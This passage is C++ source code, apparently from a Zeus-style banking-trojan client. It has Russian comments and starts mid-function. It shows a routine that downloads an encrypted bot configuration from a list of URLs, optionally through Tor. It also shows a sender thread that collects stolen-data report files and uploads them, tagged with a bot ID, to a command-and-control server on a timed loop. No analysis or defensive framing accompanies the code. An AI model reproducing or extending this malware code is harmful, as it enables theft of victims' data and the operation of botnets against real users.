"Trying download \"%S\".", currentUrl); if(newDownloader(currentUrl, &memData)) { if(updateConfig(&baseConfig, &memData, 0))ok = true; Mem::free(memData.data); } # if(BO_DEBUG > 0) if(!ok)WDEBUG0(WDDT_INFO, "Failed."); # endif } while(!ok && (currentUrl = Str::_multiStringGetIndexA(currentUrl, 1))); } Mem::free(configUrlsList); } } #if(BO_DEBUG > 0) if(ok)WDEBUG0(WDDT_INFO, "Downloaded."); else WDEBUG0(WDDT_INFO, "Failed."); #endif #if defined USE_TOR SocketHook::enableTorMode(false); #endif return ok; }
static DWORD WINAPI defaultSender(void *p) { CoreHook::disableFileHookerForCurrentThread(true); SENDERDATA *senderData = (SENDERDATA *)p; HANDLE mutex = Core::waitForMutexOfObject(senderData->threadType == DEFAULTSENDER_REPORT ? Core::OBJECT_ID_SERVER_SESSION_REPORT : Core::OBJECT_ID_SERVER_SESSION_STATUS, MalwareTools::KON_GLOBAL); if(mutex == NULL) { WDEBUG1(WDDT_ERROR, "Failed, %u.", senderData->threadType); Mem::free(senderData); return 1; } //Насатраиваем данные сессии. Report::SERVERSESSION serverSession; Crypt::RC4KEY rc4Key; serverSession.requestProc = defaultSenderRequestProc; serverSession.resultProc = defaultSenderResultProc; serverSession.stopEvent = coreData.globalHandles.stopEvent; serverSession.rc4Key = &rc4Key; serverSession.customData = senderData; //Получем таймауты. DWORD normalDelay; DWORD errorDelay; DWORD maxDelay; { BASECONFIG baseConfig; Core::getBaseConfig(&baseConfig); Mem::_copy(&rc4Key, &baseConfig.baseKey, sizeof(Crypt::RC4KEY)); switch(senderData->threadType) { case DEFAULTSENDER_REPORT: normalDelay = HIWORD(baseConfig.delayReport); errorDelay = LOWORD(baseConfig.delayReport); break; case DEFAULTSENDER_STATUS: normalDelay = HIWORD(baseConfig.delayStats); errorDelay = LOWORD(baseConfig.delayStats); break; } normalDelay *= 60 * 1000; errorDelay *= 60 * 1000; maxDelay = max(normalDelay, errorDelay); Mem::_zero(&baseConfig, sizeof(BASECONFIG)); } //Запуск. BYTE loopResult; WCHAR tempFile[MAX_PATH]; tempFile[0] = 0; WDEBUG1(WDDT_INFO, "Started, %u.", senderData->threadType); if(Core::isActive())do { loopResult = DSR_WAIT_DATA; //Проверяем наличие отчетов. if(senderData->threadType == DEFAULTSENDER_REPORT) { initReportFile(false, tempFile[0] == 0 ? tempFile : NULL); if(!findReportFileForSending(senderData->reportFile, tempFile, maxDelay))continue; //Проверяем файл. { DWORD64 fileSize = Fs::_getFileSizeEx(senderData->reportFile); if(fileSize == (DWORD)(-1) || fileSize > 0xFFFFFFFF) { Fs::_removeFile(senderData->reportFile); WDEBUG1(WDDT_WARNING, "Removed \"%s\".", senderData->reportFile); continue; } } WDEBUG1(WDDT_INFO, "Founded \"%s\".", senderData->reportFile); //Перемещаем во временный файл. if(CWA(kernel32, lstrcmpiW)(senderData->reportFile, tempFile) != 0) { HANDLE reportMutex = Core::waitForMutexOfObject(Core::OBJECT_ID_REPORTFILE, MalwareTools::KON_GLOBAL); if(reportMutex == NULL) { WDEBUG0(WDDT_ERROR, "Mutex failed."); continue; } if(CWA(kernel32, MoveFileExW)(senderData->reportFile, tempFile, MOVEFILE_COPY_ALLOWED | MOVEFILE_REPLACE_EXISTING | MOVEFILE_WRITE_THROUGH) == FALSE) { WDEBUG2(WDDT_ERROR, "Failed to move file \"%s\" => \"%s\".", senderData->reportFile, tempFile); continue; } Sync::_freeMutex(reportMutex); Str::_CopyW(senderData->reportFile, tempFile, -1); } } //Создаем сессию. BinStorage::STORAGE *binStorage = DynamicConfig::getCurrent(); if(binStorage != NULL) { serverSession.url = (LPSTR)BinStorage::_getItemDataEx(binStorage, CFGID_URL_SERVER_0, BinStorage::ITEMF_IS_OPTION, NULL); Mem::free(binStorage); if(serverSession.url != NULL) { serverSession.postData = NULL; if(Report::addBasicInfo(&serverSession.postData, Report::BIF_BOT_ID)) { senderData->storage.file = INVALID_HANDLE_VALUE; loopResult = Report::startServerSession(&serverSession) ? DSR_SENDED : DSR_ERROR; BinStorage::_closeStorageArray(&senderData->storage); Mem::free(serverSession.postData); } } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "CFGID_URL_SERVER_0 is empty."); # endif Mem::free(serverSession.url); } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_WARNING, "Configuration not founded."); # endif } while(CWA(kernel32, WaitForSingleObject)(coreData.globalHandles.stopEvent, loopResult == DSR_ERROR ? errorDelay : (loopResult == DSR_SENDED ? normalDelay : 30000)) == WAIT_TIMEOUT); WDEBUG1(WDDT_INFO, "Stopped, %u.", senderData->threadType); Sync::_freeMutex(mutex); Mem::free(senderData); return 0; }